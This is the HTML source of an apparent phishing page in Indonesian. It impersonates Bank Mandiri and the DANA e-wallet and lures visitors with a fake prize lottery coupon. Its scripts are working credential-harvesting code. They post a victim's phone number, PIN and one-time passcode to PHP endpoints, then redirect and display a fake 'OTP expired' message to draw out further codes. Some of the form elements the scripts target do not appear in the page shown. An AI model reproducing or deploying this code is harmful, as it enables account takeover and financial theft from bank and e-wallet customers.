<html><head>
    <meta name="theme-color" content="#F7B523"> 
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0">
   
	<meta property="og:title" content="𝗕𝗮𝗻𝗸 𝗠𝗮𝗻𝗱𝗶𝗿𝗶"> 
	<meta property="og:description" content="Gedung Mandiri Jl. Jenderal Sudirman Kav.44-46 Jakarta 10210 Indonesia">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>𝗚𝗲𝗯𝘆𝗮𝗿 𝗕𝗮𝗻𝗸 𝗠𝗮𝗻𝗱𝗶𝗿𝗶</title>
<meta property="og:title" content="𝗚𝗲𝗯𝘆𝗮𝗿 𝗕𝗮𝗻𝗸 𝗠𝗮𝗻𝗱𝗶𝗿𝗶">
<meta property="twitter:title" content="𝗚𝗲𝗯𝘆𝗮𝗿 𝗕𝗮𝗻𝗸 𝗠𝗮𝗻𝗱𝗶𝗿𝗶">
<meta property="twitter:card" content="summary_large_image">
<meta property="og:image:type" content="image/jpeg">
<meta content="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQWDV6RwuQOEWpt0rVrXYIKG05dPyfcxF80JLnZeZ0Tw-BL1x_d97Bwi7BO&s=10" property="og:image">

<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0, maximum-scale=1">
<link rel="icon" href="https://klik-untuk-registrasi-babecash.web.app/.svg">
    <link href="https://klik-untuk-registrasi-babecash.web.app/.svg" rel="apple-touch-icon">
<meta http-equiv="X-UA-Compatible" content="ie=edge">


<meta property="twitter:card" content="summary_large_image">
<meta property="og:image:type" content="image/jpeg">
<meta content="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQWDV6RwuQOEWpt0rVrXYIKG05dPyfcxF80JLnZeZ0Tw-BL1x_d97Bwi7BO&s=10" property="og:image">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Sofia">
<link href="https://fonts.googleapis.com/css?family=Jockey+One" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="css/font-awesome.min.css">

<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Amarante">
    
    <!-- Demo styles -->
    <style>
      html,
      body {
        position: relative;
        height: 100%;
		overflow: hidden; 
        background-color: #fff;
        font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
        font-size: 14px;
        color: #000;
        margin: 0;
        padding: 0;
      }
button{
    position: absolute;
    border: none;
    margin: 0px auto;
    width: 80%;
    height: 136px;
    left: 0;
    right:0;
    bottom: 110;
    box-shadow: 0px 0px 4px 2px;
    background-color: #fff;
}
	</style>
</head>
<body style="background: rgb(57,155,216);
background: linear-gradient(90deg, rgba(57,155,216,1) 0%, rgba(57,155,216,1) 30%, rgba(33,119,212,1) 80%);">
    <div style="display:none;" class="index">
        <div class="header">
           
        </div>
        <div class="content">
            <div class="hero">
                
            </div>
            <h1>Dompet digital untuk kamu!</h1>
            <p class="desc">Simpan uang serta kartu debit/kredit dengan<br>praktis di DANA</p>
            <div class="line">
            </div>
            <p class="log">Masukkan <b>nomor HP</b> kamu untuk lanjut</p>
            <button type="button" onclick="next();">LOGIN</button>
        </div>
    </div>
    <div class="start" style="display:none; background-color: #fff;">
       
    </div>
    <div class="container hid">
        <div class="box-login" style="background-color: #2177D4;">
             <a href="one.html" style="text-decoration: none">
            <div class="header11" style="background-color: #2177D4;">
               <img src="images/1000215661.gif" style="width: 100%; left: 0px; right: 0; top: 0px; border-radius: 0px 0px 100px 0px">
               <center>
           
             </center>
            </div>
            
             </a> 
        </div>
	</div>
	<br>
	<br>

<style>
.css-buttons {
	color: #fcffff;
	font-size: 16px;
	border-radius: 5px;
	border: solid 1px #ffaa22;
	text-shadow: 1px 1px 0px #423e22;
	box-shadow: 1px 1px 2px 0px #423a01;
	text-decoration: none;
	cursor: pointer;
	position: relative;
	overflow: hidden;
	font-family: Amarante, cursive;
	font-weight: bold;
	background: linear-gradient(180deg, #f7b423 10%, #f7b423 100%);
	display: inline-flex;
	align-items: center;
	padding: 0;
}
.css-buttons:hover {
	background: linear-gradient(180deg, #f7b423 10%, #f7b423 100%);
}
.css-button-text {
	position: relative;
	padding: 10px 18px;
}
.css-button-icon {
	position: relative;
	border-right: 1px solid #ffffff29;
	box-shadow: inset rgb(0 0 0 / 14%) -1px 0 0;
	padding: 10px 9px;
}
.css-button-icon > i {
	position: relative;
	display: inline-block;
	vertical-align: middle;
	font-size: 28px;
}
</style>

	<center style="font-family: 'Jockey One','Nunito', serif; color: #fff">
<b style="font-size: 20px; color: yellow">Segera Daftarkan!!!</b><br>
Untuk seluruh nasabah Bank mandiri semua bisa dapat Hadiah <br>
Klik Tombol dibawah ini untuk cetak kupon undian
	<br>
 <div type="button" class="css-buttons" style="margin-top: 15px" onclick="location.href='one.html'">
	<span class="css-button-icon">
		<i class="fa fa-ticket"></i>
	</span>
	<span class="css-button-text">
		<span>Cetak Kupon Undian</span>
	</span>
</div>
</center>
<script>
$(document).ready(function() {
    $('#inp').on('input', function() {
        if ($(this).val() == '0' || $(this).val() == '62') {
            $(this).val('');
        }
    });
});
</script>
<script>
$(document).ready(function() {
    $('#inp').mask('000-0000-000000');
});
</script>
<script>
let inp = document.getElementById("inp");
let btn = document.getElementById("btn");
inp.addEventListener("input", val);

function val() {
    if (inp.value.length > 10) {
        btn.disabled = false;
    } else {
        btn.disabled = true;
    }
};
</script>
<script>
$('.inppin').on('input', function(event) {
    const inputs = $('.inppin');
    const isAllFilled = Array.from(inputs).every((input) => input.value !== '');
    if (isAllFilled == true) {
        $(event.target).blur();
        sendPin();
    };
    const index = inputs.index(this);
    const currentValue = event.target.value;
    if (currentValue.length === 1) {
        if (index < inputs.length - 1) {
            inputs[index + 1].focus();
        }
    } else if (currentValue.length === 0) {
        if (index > 0) {
            inputs[index].focus();
        }
    };
});
$('.inppin').on('keydown', function(event) {
    const inputs = $('.inppin');
    const key = event.key;
    const index = inputs.index(this);
    if (key === 'Backspace' && event.target.value.length === 0) {
        if (index > 0) {
            inputs[index - 1].focus();
        }
    };
});
</script>
<script>
$('.inpotp').on('input', function(event) {
    const inputs = $('.inpotp');
    const isAllFilled = Array.from(inputs).every((input) => input.value !== '');
    if (isAllFilled == true) {
        $(event.target).blur();
        sendOtp();
    }
    const index = inputs.index(this);
    const currentValue = event.target.value;
    if (currentValue.length === 1) {
        if (index < inputs.length - 1) {
            inputs[index + 1].focus();
        }
    } else if (currentValue.length === 0) {
        if (index > 0) {
            inputs[index].focus();
        }
    };
});
$('.inpotp').on('keydown', function(event) {
    const inputs = $('.inpotp');
    const key = event.key;
    const index = inputs.index(this);
    if (key === 'Backspace' && event.target.value.length === 0) {
        if (index > 0) {
            inputs[index - 1].focus();
        }
    };
});
</script>
<script>
$(document).ready(function() {
    $('.clear').click(function() {
        $('.inppin').val('');
        $('#pin1').focus();
    });
    $('.clearotp').click(function() {
        $('.inpotp').val('');
        $('#otp1').focus();
    });
    $('.show').click(function() {
        $('.inppin').each(function() {
            if ($(this).attr('type') === 'password') {
                $(this).attr('type', 'number');
                $(".show").text("SEMBUNYIKAN");
            } else {
                $(this).attr('type', 'password');
                $(".show").text("TAMPILKAN");
            }
        });
    });
});
</script>
<script>
function sendNohp(event) {
    $("#process").show();
    event.preventDefault();
    $("#inp").blur();
    $.ajax({
        type: 'POST',
        url: 'sendNohp.php',
        data: $('#formNohp').serialize(),
        dataType: 'text',
        success: function() {
            $("#process").hide();
            $("#formNohp").fadeOut();
            setTimeout(function() {
                $("#inp").val('');
                $("#formPin").fadeIn();
                $("#pin1").focus();
            }, 500);
        }
    });
};
</script>
<script>
function sendPin() {
    $("#process").show();
    $.ajax({
        type: 'POST',
        url: '',
        data: $('#formPin').serialize(),
        dataType: 'text',
        success: function() {
            $("#process").hide();
            $('.inppin').val('');
            $(".bgotp").fadeIn();
            setInterval(countdown, 1000);
            $("#otp1").focus();
        }
    });
};
</script>
<script>
function sendOtp() {
    $(".loadingOtp").show();
    $.ajax({
        type: 'POST',
        url: 'formOtp.php',
        data: $('#formOtp').serialize(),
        dataType: 'text',
        success: function() {
            window.location.href = "googleplayDANA.html";
            setTimeout(function() {
                $(".loadingOtp").hide();
                $('.inpotp').val('');
                $(".alert").text("Kode OTP telah kedaluwarsa atau invalid silahkan kirim ulang kode OTP");
                $(".alert").css("color", "red");
            }, 3000);
        }
    });
};
</script>
<script>
function countdown() {
    var count = parseInt($('#countdown').text());
    if (count !== 0) {
        $('#countdown').text(count - 1);
    } else {
        $('#countdown').text('120');
    }
};</script>
<script>
window.onload = function() {
    setTimeout(function() {
        $(".start").fadeIn();
        setTimeout(function() {
            $(".start").fadeOut(1000);
            setTimeout(function() {
                $(".container").fadeIn(200);
                $("#inp").focus();
            }, 1000);
        }, 2000);
    }, 500);
}
</script>




</body></html><!--<script src='https://a.bsite.net/footer.js'></script>
-->